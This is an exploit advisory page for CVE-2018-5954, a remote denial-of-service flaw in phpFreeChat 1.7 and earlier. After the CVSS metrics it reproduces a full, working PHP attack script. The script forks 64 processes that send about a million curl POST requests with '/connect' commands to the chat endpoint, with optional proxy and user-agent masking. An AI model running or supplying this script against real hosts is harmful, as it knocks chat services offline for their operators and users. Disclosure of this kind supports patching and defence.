PHPFreeChat 1.7 Denial of Service

2018.01.22
Credit: A. Pakbaz
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-399


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Exploit Title: phpFreeChat 1.7 and earlier - Denial of Service # Version: 1.7 and earlier # Date: 21/01/2018 # Vendor Homepage: http://www.phpfreechat.net # Software Link: http://www.phpfreechat.net/download # Exploit Author: A. Pakbaz # CVE : CVE-2018-5954 #################################################### <?php $host="http://example.com/path/index.php"; //Vulnerable Host $con_num=64; //Number of Connections $proxy=''; //Proxy example http://127.0.0.1:8080 $user_agent=''; //User-Agent $proxy=$proxy!='' ? "-x " . $proxy : ''; $user_agent=$user_agent!='' ? "-A " . $user_agent : ''; echo "##Vulnerability Discovered by A. Pakbaz\n##Exploit Author: A. Pakbaz\n"; echo "##Contact: \x70\x61\x6b\x62\x61\x7a\x40\x70\x72\x6f\x74\x6f\x6e\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\n"; echo "##PGP key: \x45\x33\x35\x35\x35\x32\x34\x43\x34\x44\x37\x45\x31\x36\x43\x38\x46\x38\x34\x38\x35\x41\x36\x46\x35\x31\x32\x39\x30\x34\x46\x35\x45\x44\x42\x45\x33\x43\x41\x41\n"; function runf($id){ global $con_num; global $host; global $proxy; global $user_agent; $i=$id*1000000/$con_num; $f=($id+1)*1000000/$con_num; for($num=$i; $num<$f; $num++){ `curl --url '$host' -X POST -d "pfc_ajax=1&f=handleRequest&cmd=%2Fconnect%20a95806d727683c9c42694214fe"$num"%200%20%22"$num"%22" -N --stderr /dev/null --compressed $proxy $user_agent`; echo "."; } } function fmaker($pno){ global $con_num; if($pno>1){ $pid=pcntl_fork(); if($pid<0){ echo "\nError! Reduce the number of connections\n"; } elseif($pid) fmaker($pno-1); else runf($con_num-$pno); } elseif($pno==1) runf($con_num-1); } fmaker($con_num); ?>


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